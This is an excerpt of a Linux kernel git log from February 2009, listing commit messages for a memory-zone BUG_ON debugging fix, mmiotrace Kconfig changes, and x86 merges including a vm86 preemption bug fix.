| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | What's happening is that the assertion in mm/page_alloc.c:move_freepages() is triggering: BUG_ON(page_zone(start_page) != page_zone(end_page)); Once I knew this is what was happening, I added some annotations: if (unlikely(page_zone(start_page) != page_zone(end_page))) { printk(KERN_ERR "move_freepages: Bogus zones: " "start_page[%p] end_page[%p] zone[%p]\n", start_page, end_page, zone); printk(KERN_ERR "move_freepages: " "start_zone[%p] end_zone[%p]\n", page_zone(start_page), page_zone(end_page)); printk(KERN_ERR "move_freepages: " "start_pfn[0x%lx] end_pfn[0x%lx]\n", page_to_pfn(start_page), page_to_pfn(end_page)); printk(KERN_ERR "move_freepages: " "start_nid[%d] end_nid[%d]\n", page_to_nid(start_page), page_to_nid(end_page)); ... And here's what I got: move_freepages: Bogus zones: start_page[2207d0000] end_page[2207dffc0] zone[fffff8103effcb00] move_freepages: start_zone[fffff8103effcb00] end_zone[fffff8003fffeb00] move_freepages: start_pfn[0x81f600] end_pfn[0x81f7ff] move_freepages: start_nid[1] end_nid[0] My memory layout on this box is: [ 0.000000] Zone PFN ranges: [ 0.000000] Normal 0x00000000 -> 0x0081ff5d [ 0.000000] Movable zone start PFN for each node [ 0.000000] early_node_map[8] active PFN ranges [ 0.000000] 0: 0x00000000 -> 0x00020000 [ 0.000000] 1: 0x00800000 -> 0x0081f7ff [ 0.000000] 1: 0x0081f800 -> 0x0081fe50 [ 0.000000] 1: 0x0081fed1 -> 0x0081fed8 [ 0.000000] 1: 0x0081feda -> 0x0081fedb [ 0.000000] 1: 0x0081fedd -> 0x0081fee5 [ 0.000000] 1: 0x0081fee7 -> 0x0081ff51 [ 0.000000] 1: 0x0081ff59 -> 0x0081ff5d So it's a block move in that 0x81f600-->0x81f7ff region which triggers the problem. This patch: Declaration of early_pfn_to_nid() is scattered over per-arch include files, and it seems it's complicated to know when the declaration is used. I think it makes fix-for-memmap-init not easy. This patch moves all declaration to include/linux/mm.h After this, if !CONFIG_NODES_POPULATES_NODE_MAP && !CONFIG_HAVE_ARCH_EARLY_PFN_TO_NID -> Use static definition in include/linux/mm.h else if !CONFIG_HAVE_ARCH_EARLY_PFN_TO_NID -> Use generic definition in mm/page_alloc.c else -> per-arch back end function will be called. Signed-off-by: KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com> Tested-by: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com> Reported-by: David Miller <davem@davemlloft.net> Cc: Mel Gorman <mel@csn.ul.ie> Cc: Heiko Carstens <heiko.carstens@de.ibm.com> Cc: <stable@kernel.org> [2.6.25.x, 2.6.26.x, 2.6.27.x, 2.6.28.x] Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
| * | | Merge branch 'tracing-fixes-for-linus' of ↵Linus Torvalds2009-02-171-22/+2
| |\ \ \ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'tracing-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: doc: mmiotrace.txt, buffer size control change trace: mmiotrace to the tracer menu in Kconfig mmiotrace: count events lost due to not recording
| | * | | trace: mmiotrace to the tracer menu in KconfigPekka Paalanen2009-02-151-22/+2
| | |/ / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: cosmetic change in Kconfig menu layout This patch was originally suggested by Peter Zijlstra, but seems it was forgotten. CONFIG_MMIOTRACE and CONFIG_MMIOTRACE_TEST were selectable directly under the Kernel hacking / debugging menu in the kernel configuration system. They were present only for x86 and x86_64. Other tracers that use the ftrace tracing framework are in their own sub-menu. This patch moves the mmiotrace configuration options there. Since the Kconfig file, where the tracer menu is, is not architecture specific, HAVE_MMIOTRACE_SUPPORT is introduced and provided only by x86/x86_64. CONFIG_MMIOTRACE now depends on it. Signed-off-by: Pekka Paalanen <pq@iki.fi> Signed-off-by: Steven Rostedt <srostedt@redhat.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | | Merge branch 'x86-fixes-for-linus' of ↵Linus Torvalds2009-02-1710-82/+109
| |\ \ \ | | | |/ | | |/| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: x86, vm86: fix preemption bug x86, olpc: fix model detection without OFW x86, hpet: fix for LS21 + HPET = boot hang x86: CPA avoid repeated lazy mmu flush x86: warn if arch_flush_lazy_mmu_cpu is called in preemptible context x86/paravirt: make arch_flush_lazy_mmu/cpu disable preemption x86, pat: fix warn_on_once() while mapping 0-1MB range with /dev/mem x86/cpa: make sure cpa is safe to call in lazy mmu mode x86, ptrace, mm: fix double-free on race
| | * | x86, vm86: fix preemption bugThomas Gleixner2009-02-151-1/+9
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Commit 3d2a71a596bd9c761c8487a2178e95f8a61da083 ("x86, traps: converge do_debug handlers") changed the preemption disable logic of do_debug() so vm86_handle_trap() is called with preemption disabled resulting in: BUG: sleeping function called from invalid context at include/linux/kernel.h:155 in_atomic(): 1, irqs_disabled(): 0, pid: 3005, name: dosemu.bin Pid: 3005, comm: dosemu.bin Tainted: G W 2.6.29-rc1 #51 Call Trace: [<c050d669>] copy_to_user+0x33/0x108 [<c04181f4>] save_v86_state+0x65/0x149 [<c0418531>] handle_vm86_trap+0x20/0x8f [<c064e345>] do_debug+0x15b/0x1a4 [<c064df1f>] debug_stack_correct+0x27/0x2c [<c040365b>] sysenter_do_call+0x12/0x2f BUG: scheduling while atomic: dosemu.bin/3005/0x10000001 Restore the original calling convention and reenable preemption before calling handle_vm86_trap(). Reported-by: Michal Suchanek <hramrach@centrum.cz> Cc: stable@kernel.org Signed-off-by: Thomas Gleixner <tglx@linutronix.de> Signed-off-by: Ingo Molnar <mingo@elte.hu>
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